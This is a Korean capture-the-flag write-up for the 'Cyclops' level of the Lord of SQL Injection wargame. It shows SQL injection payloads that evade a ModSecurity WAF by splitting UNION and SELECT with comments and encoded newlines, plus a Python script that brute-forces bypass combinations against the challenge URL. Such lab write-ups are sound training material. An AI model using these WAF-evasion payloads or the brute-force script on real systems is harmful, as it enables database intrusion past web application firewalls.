WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 36 - Cyclops

키클롭스를 만났다. 싸이클롭스라고도 읽더라. 그리스 신화에 등장하는 거인인데, 눈이 한쪽밖에 없다. 얘는 눈 건강부터 챙겨야 되겠다. 안대 같은 것도 못쓸 테니 말이다.

< 출처 : 위키백과 https://ko.wikipedia.org/wiki/%ED%82%A4%ED%81%B4%EB%A1%AD%EC%8A%A4 >


코드

URL을 보아서는 Mod seucrity(WAF)가 적용되어 있으며 id와 pw에 대해서 prob, 언더바(_) 등 국룰을 차단하고 있다. 해결을 위해서는 id에 first와 pw에 second를 가져오면 성공이다. 주석으로 union select를 사용하여야 한다고 이 몬스터를 잡을 힌트를 준다.


해결방법

Answer Url : modsec.rubiya.kr/chall/XXXX.php?id=1%27&pw=union%20--%20%0a%0ddistinct%20select%200x6669727374,%200x7365636f6e64%27%27--%20
try : ?id=' or union select 1,2--%20

 

금지당했다. 여러번 하고 알았는데

UNION과 SELECT가 연달아서 사용되면 WAF에서 걸린다.

 

이 항목을 우회할 방법을 우선 찾아내야 한다. 가장 단순하게 떠오르는 방법은 한 줄 주석(-- or #)과 개행(\r\n)을 연달아서 쓰는 게 가장 번잡하고 좋을 거 같다.

try : ?id='--&pw=%0a%0dunion--%20%0a%0dselect--%20%0a%0d1,2--%20

응? 이상하다. 뭐가 막힌 게 있나?

try : ?id=1' or pw=1--%20&pw=1

으흠; 사실 modseucrity 룰셋에 대한 이해도가 필요한 문제이지만, 필자는 그걸 다 외우고 다닐 정도로 머리가 좋지 않다. Python을 통해 우리가 원하는 쿼리의 모든 개행 조합을 작성해보았다.

기본이 되는 쿼리는 다음과 같다.

Query : ?id=1'{0[0]}&pw=union {0[1]}distinct%20{0[2]}select%20{0[3]}0x6669727374, 0x7365636f6e64''--%20

* 0x6669727374는 'first', 0x7365636f6e64는 'second'의 헥스값이다.

* 중괄호 {0[n]}은 Python에서 string.format()으로 바뀔 문자열이다.

* distinct는 select문에서 중복을 제거한다는 키워드이다. union select가 동시에 사용되면 WAF가 차단하기에, 완충제로 추가하였다.

 

코드는 다음과 같다.

import requests

### length길의의 모든 2진수 조합 생성
def make_sequence(length) :
    crit = length**2

    for i in range(0,crit) :
        yield ("{:0>"+str(length)+"}").format(str(bin(i))[2:])


if __name__=="__main__" :
    url = ### Cyclops의 URL ###
    cookie = {"PHPSESSID" : "### 자신의 PHPSESSID ###"}
    sub = "--%20%0a%0d"     ### 대체문자열
    param = "?id=1'{0[0]}&pw=union {0[1]}distinct%20{0[2]}select%20{0[3]}0x6669727374, 0x7365636f6e64''--%20"
    sub_cnt = param.count("}")

    my_gen = make_sequence(sub_cnt)
    
    for gen in my_gen :
        tmp_array = list()
        
        for i in range(sub_cnt) :
            tmp_array.append(int(gen[i])*sub)
                
        new_param = param.format(tmp_array)
        rec = requests.get(url+new_param,cookies=cookie)
        
        if(rec.text.find("Forbidden")==-1 and rec.text.find("Clear")!=-1) :
            print("="*20+"\n")
            print(new_param+"\n")
            print("="*20)
            break

출력은 다음과 같다.

====================

?id=1'&pw=union --%20%0a%0ddistinct%20select%200x6669727374, 0x7365636f6e64''--%20

====================

축하한다.


이번 시간 Cyclops문제를 해결하면서 WAF필터링의 대한 이해가 더 깊어졌다. 다음 관문에서 여러분들을 기다리겠다.